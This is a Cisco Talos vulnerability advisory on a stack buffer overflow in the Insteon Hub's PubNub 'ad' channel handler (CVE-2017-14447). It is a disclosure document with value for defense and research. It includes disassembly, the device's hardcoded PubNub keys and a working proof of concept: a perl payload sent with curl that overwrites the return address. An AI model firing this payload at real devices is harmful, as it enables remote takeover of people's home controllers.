Talos Vulnerability Report

TALOS-2017-0496

Insteon Hub PubNub "ad" Channel Message Handler Code Execution Vulnerability

June 19, 2018
CVE Number

CVE-2017-14447

Summary

An exploitable buffer overflow vulnerability exists in the PubNub message handler for the "ad" channel of Insteon Hub running firmware version 1012. Specially crafted commands sent through the PubNub service can cause a stack-based buffer overflow overwriting arbitrary data. An attacker should send an authenticated HTTP request to trigger this vulnerability.

Tested Versions

Insteon Hub 2245-222 - Firmware version 1012

Product URLs

http://www.insteon.com/insteon-hub

CVSSv3 Score

8.5 - CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-121: Stack-based Buffer Overflow

Details

Insteon produces a series of devices aimed at controlling and monitoring a home: wall switches, led bulbs, thermostats, cameras, etc. One of those is Insteon Hub, a central controller which allows an end-user to use his smartphone to connect to his own house remotely and manage any other device through it. The Insteon Hub board utilizes several MCUs, the firmware in question is executed by a Microchip PIC32MX MCU, which has a MIPS32 architecture.

The firmware uses Microchip's "Libraries for Applications" as core for the application code. Its functionality resides on a co-operative multitasking loop, which continuously executes all the existing tasks: the library already defines several tasks, e.g. for reading and sending network packets and calling the relative callbacks. Custom applications building on this library simply need to add new functions at the end of the loop, taking care of executing tasks as quickly as possible, or splitting them in several loop cycles, in order to let other tasks running smoothly.

To enable remote interaction via the Internet, Insteon Hub uses an online service called PubNub (https://www.pubnub.com/). End-users install the "Insteon for Hub" application on their smartphone. Both the smartphone application and Insteon Hub include the PubNub SDK, which allows for a bi-directional communication using PubNub's REST API.

The interaction with PubNub happens by means of publish/subscribe methods. Each device has a series of channels it can subscribe to, in order to receive published messages. To subscribe to a specific channel it's enough to call the function pubnub_subscribe (defined in the PubNub SDK), passing as parameter the channel name and a callback function that will be called when a message is received on the specified channel.

The device defines a function which parses messages received from PubNub on channel "ad": sub_9d011224. The function uses the cJSON library for parsing "JSON" messages and receives a cJSON object as parameter, which corresponds to the message fetched from PubNub. As an example, this is a valid JSON message which is used to set the host and URL used by the device to request a firmware update:

{
    "ser": "",
    "cmd": "up_firm",
    "h": "192.168.0.2",
    "u": "/getfw"
}

The "ad" channel is used specifically for managing firmware operations. The function first checks that the ser parameter is defined. Then it reads the cmd parameter, and depending on its value it proceeds to extract other expected parameters, in this case h and u. Host and URL are then saved in a global variable for later processing.

The vulnerable code exists while handling the cmd parameter:

seg000:9D011224                 sub_9d011224:
seg000:9D011224
seg000:9D011224                 var_B0  = -0xB0
seg000:9D011224                 var_4C  = -0x4C
seg000:9D011224                 var_40  = -0x40
seg000:9D011224                 var_30  = -0x30
seg000:9D011224                 var_10  = -0x10
seg000:9D011224                 var_C   = -0xC
seg000:9D011224                 var_8   = -8
seg000:9D011224                 var_4   = -4
seg000:9D011224
seg000:9D011224 000 40 FF BD 27         addiu   $sp, -0xC0
seg000:9D011228 0C0 BC 00 BF AF         sw      $ra, 0xC0+var_4($sp)
seg000:9D01122C 0C0 B8 00 B2 AF         sw      $s2, 0xC0+var_8($sp)
seg000:9D011230 0C0 B4 00 B1 AF         sw      $s1, 0xC0+var_C($sp)
seg000:9D011234 0C0 B0 00 B0 AF         sw      $s0, 0xC0+var_10($sp)
seg000:9D011238 0C0 21 80 80 00         move    $s0, $a0                 # ptr to cJSON object
...
seg000:9D0112A8 0C0 21 20 00 02         move    $a0, $s0
seg000:9D0112AC 0C0 06 9D 05 3C         lui     $a1, 0x9D06
seg000:9D0112B0 0C0 F3 43 41 0F         jal     cJSON_GetObjectItem
seg000:9D0112B4 0C0 30 28 A5 24         la      $a1, aSer                # "ser"
seg000:9D0112B8 0C0 1D 00 40 10         beqz    $v0, loc_9D011330        # goto fail
seg000:9D0112BC 0C0 21 20 00 02         move    $a0, $s0
seg000:9D0112C0 0C0 06 9D 05 3C         lui     $a1, 0x9D06
seg000:9D0112C4 0C0 F3 43 41 0F         jal     cJSON_GetObjectItem
seg000:9D0112C8 0C0 30 28 A5 24         la      $a1, aSer                # "ser"
seg000:9D0112CC 0C0 32 E2 41 0F         jal     strlen
seg000:9D0112D0 0C0 10 00 44 8C         lw      $a0, 0x10($v0)
seg000:9D0112D4 0C0 19 00 42 2C         sltiu   $v0, 0x19
seg000:9D0112D8 0C0 07 00 40 14         bnez    $v0, loc_9D0112F8
...
seg000:9D0112F8                 loc_9D0112F8:
seg000:9D0112F8 0C0 06 9D 05 3C         lui     $a1, 0x9D06
seg000:9D0112FC 0C0 F3 43 41 0F         jal     cJSON_GetObjectItem
seg000:9D011300 0C0 30 28 A5 24         la      $a1, aSer                # "ser"
seg000:9D011304 0C0 90 00 A4 27         addiu   $a0, $sp, 0xC0+var_30
seg000:9D011308 0C0 1F DF 41 0F         jal     strcpy
seg000:9D01130C 0C0 10 00 45 8C         lw      $a1, 0x10($v0)
seg000:9D011310 0C0 21 20 00 02         move    $a0, $s0
seg000:9D011314 0C0 06 9D 05 3C         lui     $a1, 0x9D06
seg000:9D011318 0C0 F3 43 41 0F         jal     cJSON_GetObjectItem
seg000:9D01131C 0C0 24 28 A5 24         la      $a1, aCmd                # "cmd"
seg000:9D011320 0C0 09 00 40 14         bnez    $v0, loc_9D011348
...
seg000:9D011348                 loc_9D011348:
seg000:9D011348 0C0 06 9D 05 3C         lui     $a1, 0x9D06
seg000:9D01134C 0C0 F3 43 41 0F         jal     cJSON_GetObjectItem
seg000:9D011350 0C0 24 28 A5 24         la      $a1, aCmd                # "cmd"
seg000:9D011354 0C0 80 00 A4 27         addiu   $a0, $sp, 0xC0+var_40
seg000:9D011358 0C0 1F DF 41 0F         jal     strcpy                   # [1]
seg000:9D01135C 0C0 10 00 45 8C         lw      $a1, 0x10($v0)

Looking at the pseudocode:

if (cJSON_GetObjectItem(obj, "ser")) {
    if (strlen(cJSON_GetObjectItem(obj, "ser")) < 0x19) {
        strcpy(buf_ser, cJSON_GetObjectItem(obj, "ser")->valuestring);
        if (cJSON_GetObjectItem(obj, "cmd")) {
            strcpy(buf_cmd, cJSON_GetObjectItem(obj, "cmd")->valuestring);
            ...
        }
        ...
    }
    ...
}
...

The src parameter for strcpy at [1] is unconstrained, and can lead to a stack-based buffer overflow.

Exploit Proof-of-Concept

The following proof of concept shows how to overflow the buffer and overwrite $ra to jump to "0x9d008d30": this simulates a call to the AnnouunceIP function, so that a series of packets on UDP port 30303 can be seen upon successful exploitation.

To send a message, an HTTP GET should be used which embeds the JSON string in the "path" portion of the URL:

$ curl https://pubsub.pubnub.com/publish/<pub>/<sub>/<callback>/<channel>/<payload>?auth=<auth-key>

<pub>: PubNub's publishKey. The device uses pub-c-a415cc66-b0ca-4d1d-8d9e-947390b35df3
<sub>: PubNub's subscribeKey. The device uses sub-c-e1c54032-1685-11e4-b69f-02ee2ddab7fe
<callback>: can be set to 0
<channel>: composed by "<insteon-id>-<channel-suffix>". <insteon-id> corresponds to the lower 3 octets of the MAC address and <channel-suffix> is the actual channel name, in this case "ad" (example of full channel name: 112233-ad)
<payload>: contains the JSON message string, the minimal JSON for Insteon is {"ser":""}
<auth-key>: key for access control, 16 bytes hex-encoded

The "cmd" buffer is at $sp+0xC0-0x40 while $ra is saved at $sp+0xC0-0x4. The saved $ra already points to the parent function which has the most significant byte set to "0x9d", so in order to overwrite the return address with "0x9d008d30", this command could be used:

$ sPayload=$(perl -e 'print "A"x(0x40-4),"%30%8d"')
$ curl 'https://pubsub.pubnub.com/publish/pub-c-a415cc66-b0ca-4d1d-8d9e-947390b35df3/sub-c-e1c54032-1685-11e4-b69f-02ee2ddab7fe/0/112233-ad/0/\{"ser":"","cmd":"'$sPayload'"\}?auth=00112233445566778899AABBCCDDEEFF'

Timeline

2017-12-05 - Vendor Disclosure
2018-01-18 - Vendor advised issues under evaluation
2018-02-12 - 60 day follow up with vendor
2018-03-09 - Vendor advised working on course of action
2018-04-06 - Follow up with vendor on fix/timeline
2018-04-12 - Vendor advised issues addressed & plan for beta testing
2018-06-19 - Public disclosure

Credit

Discovered by Claudio Bozzato of Cisco Talos.